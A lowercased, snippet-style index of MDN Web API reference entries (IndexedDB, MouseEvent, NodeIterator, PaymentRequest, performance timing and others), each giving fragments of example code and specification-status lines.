for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ou need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was successfully aborted console.log("transaction aborted!"); }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'onabort' in that specification.
... recommendation indexed database api draftthe definition of 'onabort' in that specification.
IDBTransaction.oncomplete - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'oncomplete' in that specification.
... recommendation indexed database api draftthe definition of 'oncomplete' in that specification.
IDBTransaction.onerror - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...jectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation indexed database api draftthe definition of 'onerror' in that specification.
IDBTransaction - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable.
...ore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'idbtransaction' in that specification.
... recommendation initial definition indexed database api draftthe definition of 'idbtransaction' in that specification.
IDBVersionChangeEvent.newVersion - Web APIs
ixed these objects, // so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'newversion' in that specification.
... recommendation indexed database api draftthe definition of 'newversion' in that specification.
IIRFilterNode() - Web APIs
the iirfilternode() constructor of the web audio api creates a new iirfilternode object which an audionode processor which implements a general infinite impulse response filter.
...020298, 0.0004059599, 0.00020298]; let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = new iirfilternode(audioctx, { feedforward: feedforward, feedback: feedbackward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification.
... working draft initial definition.
ImageData() - Web APIs
let imagedata = new imagedata(200, 100); // imagedata { width: 200, height: 100, data: uint8clampedarray[80000] } initializing imagedata with an array this example instantiates an imagedata object with pixel colors defined by an array.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const arr = new uint8clampedarray(40000); // iterate through every pixel for (let i = 0; i < arr.length; i += 4) { arr[i + 0] = 0; // r value arr[i + 1] = 190; // g value arr[i + 2] = 0; // b value arr[i + 3] = 255; // a value } // initialize a new imagedata object let imagedata = new imagedata(arr, 200); // draw image data to the canvas ctx.putimagedata(imagedata, 20, 20); result specification specification status comment html living standardthe definition of 'imagedata()' in that specification.
... living standard initial definition.
InputDeviceCapabilities - Web APIs
syntax var inputdevicecapabilities = new inputdevicecapabilities([inputdevicecapabilitiesinit]) returns an instance of the inputdevicecapabilities interface.
... parameters inputdevicecapabilitiesinit optional a dictionary object containing a set of device capabilities.
... specifications specification status comment inputdevicecapabilities draft initial definition.
InputEvent() - Web APIs
syntax event = new inputevent(typearg, inputeventinit); values typearg is a domstring representing the name of the event.
... inputeventinitoptional is a inputeventinit dictionary, having the following fields: inputtype: (optional) a string specifying the type of change for editible content such as, for example, inserting, deleting, or formatting text.
... the inputeventinit dictionary also accepts fields from uieventinit and from eventinit dictionaries.
InputEvent - Web APIs
specifications specification status comment input events level 2the definition of 'inputevent' in that specification.
... working draft ui eventsthe definition of 'inputevent' in that specification.
... working draft initial definition.
Intersection Observer API - Web APIs
implementing "infinite scrolling" web sites, where more and more content is loaded and rendered as you scroll, so that the user doesn't have to flip through pages.
... consider a web page that uses infinite scrolling.
... thresholds rather than reporting every infinitesimal change in how much a target element is visible, the intersection observer api uses thresholds.
Keyboard.unlock() - Web APIs
WebAPIKeyboardunlock
return value undefined specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
... keyboard lockthe definition of 'unlock()' in that specification.
... editor's draft initial definition.
Keyboard - Web APIs
WebAPIKeyboard
} specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
... editor's draft initial definition.
... keyboard lockthe definition of 'keyboard' in that specification.
KeyboardEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var kbdevent = new keyboardevent("synthetickey", false); console.log(kbdevent.iscomposing); // return false specifications specification status comment ui eventsthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
... obsolete initial definition.
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
} // cancel the default action to avoid it being handled twice event.preventdefault(); }, true); specification specification status comment ui eventsthe definition of 'keyboardevent.key' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'keyboardevent.key' in that specification.
... obsolete initial definition, included key values.
KeyframeEffect.KeyframeEffect() - Web APIs
defaults to 1, and can also take a value of infinity to make it repeat for as long as the element exists.
...hould animate down the hole: var rabbitdownkeyframes = new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animations level 2the definition of 'keyframeeffectoptions.iterationcomposite' in that specification.
... web animationsthe definition of 'keyframeeffect()' in that specification.
LinkStyle - Web APIs
WebAPILinkStyle
specifications specification status comment css object model (cssom)the definition of 'linkstyle' in that specification.
... working draft linkstyle.sheet returns more specialized cssstylesheet instead of stylesheet document object model (dom) level 2 style specificationthe definition of 'linkstyle' in that specification.
... obsolete initial definition ...
LocalFileSystem - Web APIs
so to request storage, you need to do something like the following: var requestedbytes = 1024*1024*10; // 10mb navigator.webkitpersistentstorage.requestquota ( requestedbytes, function(grantedbytes) { window.requestfilesystem(persistent, grantedbytes, oninitfs, errorhandler); }, function(e) { console.log('error', e); } ); your user must grant your app permission to store data locally before your app can use persistent storage.
... //taking care of the browser-specific prefix window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for denial of access and other errors.
... window.requestfilesystem(window.persistent, 1024*1024,oninitfs,errorhandler); method overview void requestfilesystem (in unsigned short type, in unsigned long long size, in filesystemcallback successcallback, in optional errorcallback errorcallback); void resolvelocalfilesystemurl (in domstring url, in entrycallback successcallback, in optional errorcallback errorcallback); constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion.
Location: assign() - Web APIs
WebAPILocationassign
example // navigate to the location.reload article window.location.assign('/docs/web/api/location/reload'); specifications specification status comment html living standardthe definition of 'location.assign()' in that specification.
... html5the definition of 'location.assign()' in that specification.
... recommendation initial definition.
Location: pathname - Web APIs
WebAPILocationpathname
the pathname property of the location interface is a usvstring containing an initial '/' followed by the path of the url (or the empty string if there is no path).
...ax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html living standardthe definition of 'pathname' in that specification.
... living standard initial definition.
Location: reload() - Web APIs
WebAPILocationreload
syntax location.reload(); specifications specification status comment html living standardthe definition of 'location.reload()' in that specification.
... html5the definition of 'location.reload()' in that specification.
... recommendation initial definition.
Location: replace() - Web APIs
WebAPILocationreplace
examples // navigate to the location.reload article by replacing this page window.location.replace('/docs/web/api/location.reload'); specifications specification status comment html living standardthe definition of 'location.replace()' in that specification.
... html5the definition of 'location.replace()' in that specification.
... recommendation initial definition.
MSGestureEvent - Web APIs
though the msgestureevent.initgestureevent() method is kept for backward compatibility, the creation of an msgestureevent object should be done using the msgestureevent() constructor.
... msgestureevent.initgestureevent() initializes the value of an msgestureevent.
... nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support noinitgestureevent non-standardchrome no support noedge no support 12 — 79firefox no support noie full support 10opera no support nosafari no support now...
MediaDeviceInfo.groupId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial definition.
...the function starts by initializing the result array, devlist, to be an empty array.
MediaDevices.getDisplayMedia() - Web APIs
example in the example below, a startcapture() method is created which initiates screen capture given a set of options specified by the displaymediaoptions parameter.
... specifications specification status comment screen capturethe definition of 'mediadevices.getdisplaymedia()' in that specification.
... working draft initial definition ...
MediaDevices.ondevicechange - Web APIs
the first is in the getusermedia() promise's fulfillment handler, to initially fill out the list when the stream is opened.
... result specifications specification status comment media capture and streamsthe definition of 'ondevicechange' in that specification.
... candidate recommendation initial specification.
generateRequest() - Web APIs
the mediakeysession.generaterequest() method returns a promise after generating a media request based on initialization data.
...}); specifications specification status comment encrypted media extensionsthe definition of 'generaterequest()' in that specification.
... recommendation initial definition ...
MediaKeySession - Web APIs
mediakeysession.generaterequest() returns a promise after generating a media request based on initialization data.
... examples // tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeysession' in that specification.
... recommendation initial definition.
MediaPositionState.duration - Web APIs
to indicate media of unknown or indeterminate length, such as an ongoing live stream, specify a value of positive infinity (infinity).
... let positionstate = { duration: infinity; playbackrate: 1.0; position: 0.0; }; navigator.mediasession.setpositionstate(positionstate); specifications specification status comment media session standardthe definition of 'mediapositionstate.duration' in that specification.
... draft initial definition.
MediaPositionState - Web APIs
this should always be a positive number, with positive infinity (infinity) indicating media without a defined end, such as a live stream.
... specifications specification status comment media session standardthe definition of 'mediapositionstate' in that specification.
... draft initial definition.
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
syntax var mymqlevent = new mediaquerylistevent(init); parameters init an init object that defines features of the new object instance.
... examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent = new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent()' in that specification.
... working draft initial definition ...
MediaStreamTrack.applyConstraints() - Web APIs
}); }); specifications specification status comment media capture and streamsthe definition of 'applyconstraints()' in that specification.
... candidate recommendation initial definition.
... mediastream image capturethe definition of 'applyconstraints()' in that specification.
MediaStreamTrack.getConstraints() - Web APIs
for example, you may prefer high definition video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network.
... function switchcameras(track, camera) { const constraints = track.getconstraints(); constraints.facingmode = camera; track.applyconstraints(constraints); } specifications specification status comment media capture and streamsthe definition of 'getconstraints()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack - Web APIs
specifications specification status comment identity for webrtcthe definition of 'isolated tracks' in that specification.
... candidate recommendation additional properties for isolated track support media capture and streamsthe definition of 'mediastreamtrack' in that specification.
... candidate recommendation initial definition ...
MediaTrackConstraints.aspectRatio - Web APIs
for example, the standard high-definition video aspect ratio of 16:9 can be computed as 1920/1080, or 1.7777777778.
... specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.aspectRatio - Web APIs
for example, the standard 16:9 high-definition aspect ratio can be computed as 1920/1080, or 1.7777777778.
... specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
... candidate recommendation initial specification.
MessageEvent.MessageEvent() - Web APIs
syntax var messageevent = new messageevent(type, init); parameters type the type of messageevent that will be created.
... this can be one of xxx init optional a dictionary object that can contain the following properties: data: the data you want contained in the messageevent.
... example var mymessage = new messageevent('worker', { data : 'hello' }); specifications specification status comment html living standardthe definition of 'messageevent()' in that specification.
MouseEvent.altKey - Web APIs
WebAPIMouseEventaltKey
ck anywhere to test the <code>altkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the alt key is pressed: ${e.altkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.altkey' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.altkey' in that specification.
... obsolete initial definition.
MouseEvent.buttons - Web APIs
0 : no button or un-initialized 1 : primary button (usually the left button) 2 : secondary button (usually the right button) 4 : auxiliary button (usually the mouse wheel button or middle button) 8 : 4th button (typically the "browser back" button) 16 : 5th button (typically the "browser forward" button) example this example logs the buttons property when you trigger a mousedown event.
... // log.nodevalue= `${e.buttons} (${e.type})`; } document.addeventlistener('mouseup', logbuttons); document.addeventlistener('mousedown', logbuttons); // document.addeventlistener('mousemove', logbuttons); document.queryselector('#log').appendchild(log) result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.buttons' in that specification.
... obsolete initial definition ui eventsthe definition of 'mouseevent.buttons' in that specification.
MouseEvent.ctrlKey - Web APIs
anywhere to test the <code>ctrlkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.ctrlkey' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.ctrlkey' in that specification.
... obsolete initial definition.
MouseEvent.metaKey - Web APIs
anywhere to test the <code>metakey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.metakey' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.metakey' in that specification.
... obsolete initial definition.
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
.box { width: 400px; height: 250px; border: 2px solid darkblue; background-color: blue; color: white; font: 16px "zilla", "open sans", "helvetica", "arial", sans-serif; } result try this out here: specifications specification status comment css object model (cssom) view modulethe definition of 'pagex' in that specification.
... touch eventsthe definition of 'pagex' in that specification.
... unknown initial definition.
MouseEvent.pageY - Web APIs
WebAPIMouseEventpageY
examples var pagey = event.pagey; specifications specification status comment css object model (cssom) view modulethe definition of 'pagey' in that specification.
... touch eventsthe definition of 'pagey' in that specification.
... unknown initial definition.
MouseEvent.shiftKey - Web APIs
where to test the <code>shiftkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.shiftkey' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.shiftkey' in that specification.
... obsolete initial definition.
Navigator.connection - Web APIs
this could be used to select high definition content or low definition content based on the user's connection.
... specifications specification status comment network information apithe definition of 'navigator.connection' in that specification.
... draft initial specification ...
Navigator.maxTouchPoints - Web APIs
syntax touchpoints = navigator.maxtouchpoints; example if (navigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification.
... pointer eventsthe definition of 'maxtouchpoints' in that specification.
... obsolete initial definition.
NavigatorID - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid' in that specification.
... html5the definition of 'navigatorid' in that specification.
... recommendation initial specification.
NavigatorLanguage - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorlanguage' in that specification.
... html5the definition of 'navigatorlanguage' in that specification.
... recommendation initial specification; snapshot of an early version html living standard.
Network Information API - Web APIs
this can be used to select high definition content or low definition content based on the user's connection.
... specifications specification status comment network information apithe definition of 'network information api' in that specification.
... draft initial specification ...
Node.compareDocumentPosition() - Web APIs
specifications specification status comment domthe definition of 'node.comparedocumentposition()' in that specification.
... living standard document object model (dom) level 3 core specificationthe definition of 'node.comparedocumentposition()' in that specification.
... obsolete initial definition ...
Node.isSameNode() - Web APIs
WebAPINodeisSameNode
.getelementsbytagname("div"); output.innerhtml += "div 0 same as div 0: " + divlist[0].issamenode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 same as div 1: " + divlist[0].issamenode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 same as div 2: " + divlist[0].issamenode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node: issamenode' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'node.issamenode()' in that specification.
... obsolete initial definition ...
Node.isSupported() - Web APIs
WebAPINodeisSupported
var main = document.getelementbyid('doc'); var output = main.issupported('html', '2.0'); </script> specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.issupported()' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'node.issupported()' in that specification.
... obsolete initial definition.
Node.localName - Web APIs
WebAPINodelocalName
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.localname' in that specification.
... obsolete document object model (dom) level 2 core specificationthe definition of 'node.localname' in that specification.
... obsolete initial definition ...
Node.prefix - Web APIs
WebAPINodeprefix
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.prefix' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'initial definition' in that specification.
... obsolete initial definition ...
NodeFilter.acceptNode() - Web APIs
/^\s*$/.test(node.data) ) { return nodefilter.filter_accept; } } }, false ); // show the content of every non-empty text node that is a child of root var node; while ((node = iterator.nextnode())) { alert(node.data); } specifications specification status comment domthe definition of 'nodefilter.acceptnode()' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'nodefilter.acceptnode()' in that specification.
... obsolete initial definition.
NodeFilter - Web APIs
/^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the content of every non-empty text node that is a child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification status comment domthe definition of 'nodefilter' in that specification.
... living standard document object model (dom) level 2 traversal and range specificationthe definition of 'nodefilter' in that specification.
... obsolete initial definition.
NodeIterator.detach() - Web APIs
.detach(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodeiterator.detach(); // detaches the iterator nodeiterator.nextnode(); // throws an invalid_state_err exception specifications specification status comment domthe definition of 'nodeiterator.detach' in that specification.
... living standard transformed in a no-op document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.detach' in that specification.
... obsolete initial definition.
NodeIterator.filter - Web APIs
syntax nodefilter = nodeiterator.filter; example const nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodefilter = nodeiterator.filter; specifications specification status comment domthe definition of 'nodeiterator.filter' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.filter' in that specification.
... obsolete initial definition.
NodeIterator.nextNode() - Web APIs
or.nextnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node specifications specification status comment domthe definition of 'nodeiterator.nextnode' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.nextnode' in that specification.
... obsolete initial definition.
NodeIterator.previousNode() - Web APIs
ilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node previousnode = nodeiterator.previousnode(); // same result, since we backtracked to the previous node specifications specification status comment domthe definition of 'nodeiterator.previousnode' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.previousnode' in that specification.
... obsolete initial definition.
NodeIterator.root - Web APIs
WebAPINodeIteratorroot
syntax root = nodeiterator.root; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); root = nodeiterator.root; // document.body in this case specifications specification status comment domthe definition of 'nodeiterator.root' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.root' in that specification.
... obsolete initial definition.
NodeIterator.whatToShow - Web APIs
defilter.show_comment + nodefilter.show_text, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); if( (nodeiterator.whattoshow == nodefilter.show_all) || (nodeiterator.whattoshow % (nodefilter.show_comment*2)) >= nodefilter.show_comment) { // nodeiterator will show comments } specifications specification status comment domthe definition of 'nodeiterator.whattoshow' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.whattoshow' in that specification.
... obsolete initial definition.
NodeIterator - Web APIs
specifications specification status comment domthe definition of 'nodeiterator' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator' in that specification.
... obsolete initial definition.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
rable: true, enumerable: true, get: function () { var el = this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'childnodenextelementsibling' in that specification.
... element traversal specificationthe definition of 'elementtraversal.nextelementsibling' in that specification.
... obsolete added its initial definition to the elementtraversal pure interface and use it on element.
NonDocumentTypeChildNode.previousElementSibling - Web APIs
ble: true, enumerable: true, get: function () { let el = this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibling' in that specification.
... element traversal specificationthe definition of 'elementtraversal.previouselementsibling' in that specification.
... obsolete added its initial definition to the elementtraversal pure interface and use it on element.
NonDocumentTypeChildNode - Web APIs
specifications specification status comment domthe definition of 'nondocumenttypechildnode' in that specification.
... element traversal specificationthe definition of 'elementtraversal' in that specification.
... obsolete added the initial definition of its properties to the elementtraversal pure interface and use it on element.
OES_vertex_array_object.createVertexArrayOES() - Web APIs
the oes_vertex_array_object.createvertexarrayoes() method of the webgl api creates and initializes a webglvertexarrayobject object that represents a vertex array object (vao) pointing to vertex array data and which provides names for different sets of vertex data.
... specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OscillatorNode.OscillatorNode() - Web APIs
options optional an object whose properties specify the initial values for the oscillator node's properties.
... specifications specification status comment web audio apithe definition of 'oscillatornode()' in that specification.
... working draft initial definition.
ParentNode - Web APIs
specification specification status comment domthe definition of 'parentnode' in that specification.
... element traversal specificationthe definition of 'elementtraversal' in that specification.
... obsolete added the initial definition of its properties to the elementtraversal pure interface and used it on element.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
(technically a dommatrixinit object).
...formation matrix that moves 200 points to the right let m = document.createelementns('http://www.w3.org/2000/svg', 'svg').createsvgmatrix(); m.a = 1; m.b = 0; m.c = 0; m.d = 1; m.e = 200; m.f = 0; // add second path to the first path p1.addpath(p2, m); // draw the first path ctx.fill(p1); result specifications specification status comment html living standardthe definition of 'path2d.addpath()' in that specification.
... living standard initial defintion.
PaymentMethodChangeEvent - Web APIs
options optional an optional paymentmethodchangeeventinit dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used.
... specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent()' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent - Web APIs
constructor paymentmethodchangeevent() creates and returns a new paymentmethodchangeevent object, optionally initialized with values taken from a given paymentmethodchangeeventinit dictionary.
... specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent' in that specification.
... candidate recommendation initial definition.
PaymentRequest.canMakePayment() - Web APIs
async function initpaymentrquest() { const details = { total: { label: "total", amount: { currency: "usd", value: "0.00", }, }, }; const supportsapplepay = new paymentrequest( [{ supportedmethods: "https://apple.com/apple-pay" }], details ).canmakepayment(); // supports apple pay?
...let's see if we can use basic card const supportsbasiccard = await new paymentrequest( [{ supportedmethods: "basic-card" }], details ).canmakepayment(); if (supportsbasiccard) { // show basic card support return; } // otherwise, make payments using html form element } specifications specification status comment payment request apithe definition of 'canmakepayment()' in that specification.
... candidate recommendation initial definition.
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
when constructing an instance of the paymentrequest, you are able to supply an custom id via paymentdetailsinit dictionary's id member.
... specifications specification status comment payment request apithe definition of 'id' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onshippingaddresschange - Web APIs
// initialization of paymentrequest arguments are excerpted for clarity.
...}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'onshippingaddresschange' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onshippingoptionchange - Web APIs
// initialization of paymentrequest arguments are excerpted for clarity.
...simplicity if (details.displayitems.length === 2) { details.displayitems[2] = shippingoption; } else { details.displayitems.push(shippingoption); } details.shippingoptions = [shippingoption]; return promise.resolve(details); })(details, request.shippingaddress)); }); specifications specification status comment payment request apithe definition of 'onshippingoptionchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest.shippingAddress - Web APIs
// initialization of paymentrequest arguments are excerpted for the sake of // brevity.
...bel = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request apithe definition of 'shippingaddress' in that specification.
... candidate recommendation initial definition.
PaymentRequest.shippingOption - Web APIs
it is initially null by when no "selected" shipping options are provided.
...we can't ship to your address.` }; } } specifications specification status comment payment request apithe definition of 'shippingoption' in that specification.
... candidate recommendation initial definition.
PaymentRequestEvent.paymentRequestOrigin - Web APIs
the paymentrequestorigin read-only property of the paymentrequestevent interface returns the origin where the paymentrequest object was initialized.
... specifications specification status comment payment handler apithe definition of 'paymentrequestorigin' in that specification.
... working draft initial definition.
PaymentRequestEvent.topOrigin - Web APIs
the toporigin read-only property of the paymentrequestevent interface returns the top level payee origin where the paymentrequest object was initialized.
... syntax var ausvstring = paymentrequestevent.toporigin value a usvstring specifications specification status comment payment handler apithe definition of 'toporigin' in that specification.
... working draft initial definition.
PaymentRequestUpdateEvent.PaymentRequestUpdateEvent() - Web APIs
return value a new paymentrequestupdateevent object.payment request apithe definition of 'paymentrequestupdateevent' in that specification.
... specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent()' in that specification.
... candidate recommendation initial definition.
PaymentResponse.complete() - Web APIs
// initialization of paymentrequest arguments are excerpted for the // sake of brevity.
...se => { if (response.status < 400) { paymentresponse.complete("success"); } else { paymentresponse.complete("fail"); }; }).catch( reason => { paymentresponse.complete("fail"); }); }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'paymentresponse: complete' in that specification.
... candidate recommendation initial definition.
performance.clearMarks() - Web APIs
performance.clearmarks(); logmarkcount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmarks()' in that specification.
... user timingthe definition of 'clearmarks()' in that specification.
... recommendation basic definition.
performance.clearMeasures() - Web APIs
performance.clearmeasures(); logmeasurecount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmeasures()' in that specification.
... user timingthe definition of 'clearmeasures()' in that specification.
... recommendation basic definition.
performance.getEntries() - Web APIs
t all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (let i=0; i < p.length; i++) { console.log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentries()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentries()' in that specification.
... recommendation initial definition.
performance.getEntriesByName() - Web APIs
() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbyname()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentriesbyname()' in that specification.
... recommendation initial definition.
performance.getEntriesByType() - Web APIs
() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbytype()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentriesbytype()' in that specification.
... recommendation initial definition.
performance.mark() - Web APIs
WebAPIPerformancemark
performance.clearmarks(); specifications specification status comment user timing level 2the definition of 'mark()' in that specification.
... user timingthe definition of 'mark()' in that specification.
... recommendation basic definition.
performance.measure() - Web APIs
performance.clearmarks(); performance.clearmeasures(); }, 1000); }, 1000); specifications specification status comment user timing level 2the definition of 'measure()' in that specification.
